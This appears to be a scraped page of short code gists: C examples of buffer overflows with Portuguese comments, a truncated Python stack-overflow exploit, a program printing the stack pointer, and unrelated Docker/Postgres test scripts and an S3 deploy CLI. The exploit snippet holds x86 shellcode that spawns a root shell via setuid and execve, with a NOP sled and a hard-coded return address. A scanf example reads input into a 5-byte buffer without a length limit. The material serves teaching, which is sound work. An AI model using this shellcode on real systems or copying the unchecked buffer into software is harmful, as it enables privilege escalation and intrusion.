This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Programa 2 */ | |
struct person { | |
int buf[4]; | |
int x; | |
}; | |
struct person *pf = malloc(sizeof(struct person)); | |
pf->buf[5] = 3; // sorescreve pf->x |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Pragrama 1 */ | |
int x; | |
int buf[4]; | |
buf[5] = 3; // sobrescreve x |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
nopsled = '\x90' * 8 | |
shellcode = ( | |
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' + | |
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' + | |
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' | |
) | |
padding = '\x41' * 7 | |
eip = '\x60\xf3\xff\xbf' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
int main (void) { | |
register int i asm("esp"); | |
printf("$esp = %#020x\n", i); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
int main (void) { | |
char buffer[5]; | |
printf("Digite seu nome>\n"); | |
scanf("%s", &buffer); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const knex = require('knex')({ | |
client: 'pg', | |
connection: process.env.PG_URL, | |
}); | |
let pgContainer = await new GenericContainer('postgres') | |
.withEnv('POSTGRES_USER', 'test') | |
.withEnv('POSTGRES_PASSWORD', 'test') | |
.withExposedPorts(5432) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const {Docker} = require('node-docker-api'); | |
const docker = new Docker({ socketPath: '/var/run/docker.sock' }); | |
docker.container.create({ | |
Image: 'postgres', | |
name: 'test' | |
}) | |
.then(container => container.start()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
CONTAINER_ID=$(docker run -p 5400:5432 -e POSTGRES_USER=test -e POSTGRES_PASSWORD=test -d postgres:9.6.5) | |
REDIS_CONTAINER_ID=$(docker run -p 6379:6379 -d redis:4.0-alpine) | |
echo "Running PG Container: $CONTAINER_ID" | |
echo "Running Redis Container: $REDIS_CONTAINER_ID" | |
# waits | |
sleep 5 | |
# run db tests |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let rootFolder = '.' | |
program | |
.command('deploy') | |
.option('-b, --bucket <s>', 'Bucket name', setBucket) | |
.option('-k, --key <s>', 'AWS Key', setKey) | |
.option('-s, --secret <s>', 'AWS Secret', setSecret) | |
.option('-r, --root <s>', 'Root path', setRootFolder) | |
.option('-e, --ignore <items>', 'Ignore files', setIgnore) | |
.action(function () { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let ignored = [] | |
program | |
.command('deploy') | |
.option('-b, --bucket <s>', 'Bucket name', setBucket) | |
.option('-k, --key <s>', 'AWS Key', setKey) | |
.option('-s, --secret <s>', 'AWS Secret', setSecret) | |
.option('-e, --ignore <items>', 'Ignore files', setIgnore) | |
.action(function () { | |
s3Services.setAwsCredentials(awsCredentials) |